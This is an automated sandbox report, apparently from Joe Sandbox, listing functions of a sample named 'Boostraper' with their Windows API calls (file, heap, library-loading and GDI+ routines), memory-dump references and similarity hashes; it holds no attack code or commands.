APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00777547,?,?,?,?), ref: 00779D7C
SetFileTime.KERNELBASE(?,?,?,?), ref: 00779E2C

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 5cd025c2bcaebb8ca63f81521da75177b1bcbeeabc7e8171b72c901b4fa02c7b
Instruction ID: 557fd648ec6e487038e3a8d4b75716243dee82b4885f478237805e069700d1fc
Opcode Fuzzy Hash: 5cd025c2bcaebb8ca63f81521da75177b1bcbeeabc7e8171b72c901b4fa02c7b
Instruction Fuzzy Hash: 5821F671249286AFCB24DE24C855EABBBE4AF92344F04881CB9C483141D32DDA0CCB91

Function 0079A458 Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,007A3958), ref: 0079A4B8
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 0079A4C5

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: f97fd08d31253e42b792437947b3eb16e5a4041bce73b2dcb651fa057f0d380c
Instruction ID: 5dad2bae74f97a0d98588abfebcc0cffee1a56d16e220db642ad98adde9aef91
Opcode Fuzzy Hash: f97fd08d31253e42b792437947b3eb16e5a4041bce73b2dcb651fa057f0d380c
Instruction Fuzzy Hash: 25112C33602161AB9F25DE2CFC4485A73A59BC132071A8120FD15EB264DB7CDC41C7D2

Function 00779B59 Relevance: 3.1, APIs: 2, Instructions: 57COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?,-00001964,?,00000800,-00001964,00779B35,?,?,00000000,?,?,00778D9C,?), ref: 00779BC0
GetLastError.KERNEL32 ref: 00779BCD

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: a1e6c50b46dc425988714a8768e0b65b5112a962a0c642a8dbf02011426256de
Instruction ID: e96cbeeda010a01f0ba4570ec8a32c34a7cd69856d929eb85fee7eb761a800f5
Opcode Fuzzy Hash: a1e6c50b46dc425988714a8768e0b65b5112a962a0c642a8dbf02011426256de
Instruction Fuzzy Hash: 350108B1306205DB8F08CE25AC8497EB359EFC1361B10C52DFA1A872A0CB38D8059721

Function 00779E40 Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000001), ref: 00779E76
GetLastError.KERNEL32 ref: 00779E82

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 140112305974d3a0655ca0c7e632bc6ca7acdb5b93315989b182be17e4cad343
Instruction ID: dbffc294636fddf0b1b32a6034b35dab8e7d1768478141f50891a5e83c9f10b6
Opcode Fuzzy Hash: 140112305974d3a0655ca0c7e632bc6ca7acdb5b93315989b182be17e4cad343
Instruction Fuzzy Hash: 930192723052005BEF34DE29DC48B6BB6D99B85364F14C93EF24AC2680DAB9DC488711

Function 00798606 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00798627

Part of subcall function 00798518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0079C13D,00000000,?,007967E2,?,00000008,?,007989AD,?,?,?), ref: 0079854A

HeapReAlloc.KERNEL32(00000000,?,?,?,?,007B0F50,0077CE57,?,?,?,?,?,?), ref: 00798663

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 5fd61a03eeb258aa0755f614aab28ca46eb04e7af69b487921b79e53138c5bc4
Instruction ID: 2dcf174b186cc906995831e36e3a89c2d8658dad14d31b40258f30515ba18878
Opcode Fuzzy Hash: 5fd61a03eeb258aa0755f614aab28ca46eb04e7af69b487921b79e53138c5bc4
Instruction Fuzzy Hash: 84F06232105115A6DFE12A25BC04F6F27689FD37B0F298216F8549E192DE2CD80195A7

Function 00780908 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00780915
GetProcessAffinityMask.KERNEL32(00000000), ref: 0078091C

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 38bdb33c0737202d2e0e0f8116979a8faec4064e3a176abf00d1522b28b2ecb5
Instruction ID: 388cd8ae6635517f293e5cf0db4df39fcc09577a74435fd53e911264581943b1
Opcode Fuzzy Hash: 38bdb33c0737202d2e0e0f8116979a8faec4064e3a176abf00d1522b28b2ecb5
Instruction Fuzzy Hash: 57E09233A51109AB6F49EEA49C049BB739DEB452107228179F806D3201F938FE0987E4

Function 007979B7 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0079B610: GetEnvironmentStringsW.KERNEL32 ref: 0079B619
Part of subcall function 0079B610: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0079B63C
Part of subcall function 0079B610: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0079B662
Part of subcall function 0079B610: _free.LIBCMT ref: 0079B675
Part of subcall function 0079B610: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0079B684

_free.LIBCMT ref: 007979FD
_free.LIBCMT ref: 00797A04

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: _free$ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 400815659-0
Opcode ID: 1f1855f27a00497664fc38a9347cd2a72389f485f6436e2097feecf7f03506a5
Instruction ID: 43ba65fa8fe0761fcf4f160850e6adb72f8e7ad01832587b6db4cef57bd4ae7f
Opcode Fuzzy Hash: 1f1855f27a00497664fc38a9347cd2a72389f485f6436e2097feecf7f03506a5
Instruction Fuzzy Hash: 93E0ED12B1D542919FAA767E3D0AA6F0614EF82331B610B2BF420DB5C2DE1CA802429A

Function 0077A444 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0077A27A,?,?,?,0077A113,?,00000001,00000000,?,?), ref: 0077A458
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0077A27A,?,?,?,0077A113,?,00000001,00000000,?,?), ref: 0077A489

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5020adadd2512348f7a211085f483a31cf8c81bedcb717041411a27bf5f72103
Instruction ID: 8b9aa82c9e6e6fbfadb2c0048d3375d0af9dcfc6bc3b591b507e5bfeba976d86
Opcode Fuzzy Hash: 5020adadd2512348f7a211085f483a31cf8c81bedcb717041411a27bf5f72103
Instruction Fuzzy Hash: 5DF0A03124024DBBEF016F60DC05FEA376DBB05385F04C051BC8C86161DB7A8EA8AB50

Function 0078D573 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0078D5A1
SetDlgItemTextW.USER32(00000065,?), ref: 0078D5B8

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: a59d22c43c6ec36a9a18e2863bc865ba31c38cabcb3cbb9f80bf20576a6d1e66
Instruction ID: 29d6635352dbe0beeea8fa733af4c2a2daf89c7e1c19d074ff71b40456ea9518
Opcode Fuzzy Hash: a59d22c43c6ec36a9a18e2863bc865ba31c38cabcb3cbb9f80bf20576a6d1e66
Instruction Fuzzy Hash: F7F0EC7154034CBAEB21BFB09C0AFAA375C9B04745F044697B604530B2DA7D6E718772

Function 0077A12D Relevance: 3.0, APIs: 2, Instructions: 28fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,0077984C,?,?,00779688,?,?,?,?,007A1FA1,000000FF), ref: 0077A13E
DeleteFileW.KERNEL32(?,?,?,00000800,?,?,0077984C,?,?,00779688,?,?,?,?,007A1FA1,000000FF), ref: 0077A16C

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 40f9a7485ae6118fe947166923efaa038644c2bdd730fa494d8dfc4124634156
Instruction ID: 3245439e6d04b3b12c7a4b073f74fcf631c634c4f7eee1c3dbba53ba979c6699
Opcode Fuzzy Hash: 40f9a7485ae6118fe947166923efaa038644c2bdd730fa494d8dfc4124634156
Instruction Fuzzy Hash: 64E0923568020CBBEF11AF60DC45FEA776CAB093C1F888065B988C3060DB659D94AF94

Function 0078A39D Relevance: 3.0, APIs: 2, Instructions: 27comCOMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,007A1FA1,000000FF), ref: 0078A3D1
OleUninitialize.OLE32(?,?,?,?,007A1FA1,000000FF), ref: 0078A3D6

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: d82d07db623940a6b16eb4124f58dba44b4eb2595be2e60218163682608381d3
Instruction ID: 62743c14d6633a4a8f194cf24fc82abf7d42f871fc3b9e243c86ef2adab89a90
Opcode Fuzzy Hash: d82d07db623940a6b16eb4124f58dba44b4eb2595be2e60218163682608381d3
Instruction Fuzzy Hash: 7FF03972658A55EFC710AF4CDC05B59FBACFB89B20F04836AF419837A0CB796801CB95

Function 0077A194 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,0077A189,?,007776B2,?,?,?,?), ref: 0077A1A5
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,0077A189,?,007776B2,?,?,?,?), ref: 0077A1D1

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c058ef376b469bdae30bb9dc6ed985a900b758607169bde5c3ae389f220bb308
Instruction ID: b7dee5694a785a0a2b6a79193057d6f5e0cf8ac6262ae2f365b1777d936bbcb2
Opcode Fuzzy Hash: c058ef376b469bdae30bb9dc6ed985a900b758607169bde5c3ae389f220bb308
Instruction Fuzzy Hash: DCE0923550012CABDF20AB68DC09BD9B76CAB093E1F01C2A2FD48E36A0D7749D549BE0

Function 00780085 Relevance: 3.0, APIs: 2, Instructions: 25libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 007800A0
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0077EB86,Crypt32.dll,00000000,0077EC0A,?,?,0077EBEC,?,?,?), ref: 007800C2

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: c220a26d1413597ff95ff31ff3e9cfe8adeae40c099dede7dde37c0fbc6460b9
Instruction ID: 6e108c7034ebb53c76b8cb5653d918a854c97524ec95fbae3b2794add31b65a0
Opcode Fuzzy Hash: c220a26d1413597ff95ff31ff3e9cfe8adeae40c099dede7dde37c0fbc6460b9
Instruction Fuzzy Hash: 66E0127690111CAADB21AAA49C09FD7776CEF0D392F0440A5BA48D3114DA789A448BF4

Function 00789B0F Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00789B30
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00789B37

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: c4bf04b4300647d3a87285698c85de2a9d70d9e66dc5e48e46b2a277d2dcfa61
Instruction ID: 8d1e73bbdcdcc7ba6a166a6f1dfa3d6d3aa68a37dab10963860434457729e978
Opcode Fuzzy Hash: c4bf04b4300647d3a87285698c85de2a9d70d9e66dc5e48e46b2a277d2dcfa61
Instruction Fuzzy Hash: B2E0ED71941218EFCB10EF98D9056AABBE8EB05321F10815BE89593600D7B56E04AB91

Function 0079215C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 0079329A: try_get_function.LIBVCRUNTIME ref: 007932AF

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0079217A
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00792185

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: 0ae61aedd8c3d41c4459d10daed3bdbc7dc2ff3d363de61c164c796eb6576f77
Instruction ID: a8da3ced6c235aa542b62b9bd3d983db65c817c8ba8c0e682fb30e32cf6c492e
Opcode Fuzzy Hash: 0ae61aedd8c3d41c4459d10daed3bdbc7dc2ff3d363de61c164c796eb6576f77
Instruction Fuzzy Hash: DDD022682C430EB4BC4837B43C6E0AC23486892BB03F00B46F320CA2D3EE1C88276123

Function 0078DC67 Relevance: 3.0, APIs: 2, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadLock.DELAYIMP ref: 0078DC73
DloadProtectSection.DELAYIMP ref: 0078DC8F

Part of subcall function 0078DE67: DloadObtainSection.DELAYIMP ref: 0078DE77

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Dload$Section$LockObtainProtect
String ID:
API String ID: 731663317-0
Opcode ID: fa42da2cc1062d53816bfc55851e7fcac1370b51dda961801997227d1a1ce927
Instruction ID: c8bfb91a5f2f97e4691b21459272727afee180d636a3321bed60dca3243e5e77
Opcode Fuzzy Hash: fa42da2cc1062d53816bfc55851e7fcac1370b51dda961801997227d1a1ce927
Instruction Fuzzy Hash: 8DD0C9B05902009EC631BB64998A79C23B1B704744F645602E109865E0EFAC4C90E7BA

Function 007712E6 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 007712FB
ShowWindow.USER32(00000000), ref: 00771302

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 000be848bfbdeef4e2e7abbfa551bd7f31686a8e752ed2a0f35634d26ca5b22f
Instruction ID: 0867557b98f9112398a50c20a504b65ae7b1324eefa49f4f9942daada4eebd3c
Opcode Fuzzy Hash: 000be848bfbdeef4e2e7abbfa551bd7f31686a8e752ed2a0f35634d26ca5b22f
Instruction Fuzzy Hash: F1C01232058209BECB010BB0DC09D2FBBB8ABA5212F05C90AB2A5C0061C23EC012DB19

Function 007719A6 Relevance: 1.8, APIs: 1, Instructions: 310COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 007719AB

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: f30985b593bfaca50fbe6cf2a10727347befee36e643ceacc6edca350cd3ce84
Instruction ID: 19a14512183578090eaf038c2aa88d08a9d806d5ef32ed71db1465f54576af02
Opcode Fuzzy Hash: f30985b593bfaca50fbe6cf2a10727347befee36e643ceacc6edca350cd3ce84
